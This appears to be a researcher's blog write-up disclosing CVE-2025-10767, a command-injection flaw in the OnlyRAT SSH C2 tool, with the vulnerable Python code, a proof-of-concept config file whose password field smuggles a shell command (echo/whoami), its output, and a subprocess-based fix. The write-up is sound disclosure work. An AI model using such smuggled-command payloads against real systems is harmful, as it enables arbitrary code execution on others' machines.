Obsess over every detail. Ask why it works. Ask why it isn’t built another way.

CVE-2025-10767

What’s up?

Lately I’ve been digging into vulnerability research - reading writeups and watching videos about adversarial toolkits that turned out to be vulnerable themselves. Shout-out to my friend Chebuya for the insights on this topic.

What made me delve into this topic?

Most vulnerability researchers, hackers, and threat actors look for bugs in enterprise software, apps, and the like. But what if we look for vulnerabilities in the tools researchers use? IDA, BloodHound, Havoc, Sliver, Cobalt Strike - it’s ironic, but these tools can also contain exploitable mistakes.

Start of exploration

While hunting projects, I looked at OnlyRAT, a network-oriented and virtually fileless SSH C2 developed by CosmodiumCS (malware dev community). I dove into the project and immediately noticed something wrong.

In this line we see that the program receives three parameters: IP address, password, and port:

1
2
if option == "orconsole":
    connect(ipv4, password, port)

Following the connect function, the password is directly inserted into a shell command using os.system. That’s a big red flag - I’ll show why later.

1
2
3
4
def connect(address, password, port):
    print("\n [*] Connecting to target...")

    os.system(f"sshpass -p \"{password}\" ssh onlyrat@{address} -p {port}")

Looking at where the password comes from, main.py reads it from a configuration file:

1
2
3
4
5
def read_config(config_file):
    # get file contents
    read_lines = open(config_file, "r").readlines()

    configuration["PASSWORD"] = read_lines[1].strip()

main.py accepts a config file as an argument:

1
2
3
4
5
rat_file = argument

# check if configuration file exists
try:
    configuration = read_config(rat_file)

Now, craft a maliciously formed configuration file:

1
2
3
4
5
6
7
127.0.0.1
";echo${IFS}pwned${IFS}$(whoami);#
/home/test
/home/test/startup
127.0.0.1
22
local

Run OnlyRAT with that configuration file:

python3 main.py test.rat

Executing the orconsole command leads to command injection inside the C2:

[~] root@onlyrat $ orconsole
[*] Connecting to target…
sh: 1: sshpass: not found
pwned root

How did this happen?

This succeeded because OnlyRAT concatenates an attacker-controlled password into a shell command and calls os.system:

1
os.system(f"sshpass -p \"{password}\" ssh onlyrat@{address} -p {port}")

Even if the value is quoted, shell parsing/escaping can still be abused. A safer approach is to avoid the shell and use subprocess with an argument list (this prevents the shell from interpreting special characters):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import subprocess

# Unsafe
os.system(f"sshpass -p \"{password}\" scp -P {port} onlyrat@{address}:{path} ~/Downloads")

# Safer
subprocess.run(
    ["sshpass", "-p", password, "scp", "-P", str(port), f"onlyrat@{address}:{path}", "~/Downloads"],
    check=True
)